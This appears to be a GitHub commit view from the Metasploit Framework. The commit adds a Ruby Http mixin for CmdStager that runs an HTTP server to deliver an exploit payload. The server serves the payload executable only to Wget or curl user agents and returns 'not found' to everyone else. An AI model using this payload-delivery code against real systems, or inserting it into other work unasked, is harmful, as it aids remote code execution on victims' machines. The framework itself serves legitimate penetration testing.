Skip to content

Commit 58dd59f

Browse files
committed
Add Http mixin for CmdStager
1 parent fae4751 commit 58dd59f

File tree

1 file changed

+49
-0
lines changed
  • lib/msf/core/exploit/cmdstager

1 file changed

+49
-0
lines changed
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/exploit/tcp_server'
4+
require 'msf/core/exploit/http/server'
5+
6+
module Msf::Exploit::CmdStager
7+
module Http
8+
9+
include Msf::Exploit::Remote::HttpServer
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Stance' => Msf::Exploit::Stance::Aggressive
14+
))
15+
end
16+
17+
def start_service(opts = {})
18+
if opts[:busybox] && (ssl = datastore['SSL'])
19+
datastore['SSL'] = false
20+
end
21+
22+
super
23+
payload_uri = get_uri
24+
25+
if ssl
26+
datastore['SSL'] = true
27+
end
28+
29+
payload_uri
30+
end
31+
32+
def resource_uri
33+
if (datastore['URIPATH'] || '').end_with?(?/)
34+
random_uri
35+
else
36+
super
37+
end
38+
end
39+
40+
def on_request_uri(cli, request)
41+
if request['User-Agent'] =~ /^(?:Wget|curl)/
42+
send_response(cli, exe)
43+
else
44+
send_not_found(cli)
45+
end
46+
end
47+
48+
end
49+
end

0 commit comments

Comments
 (0)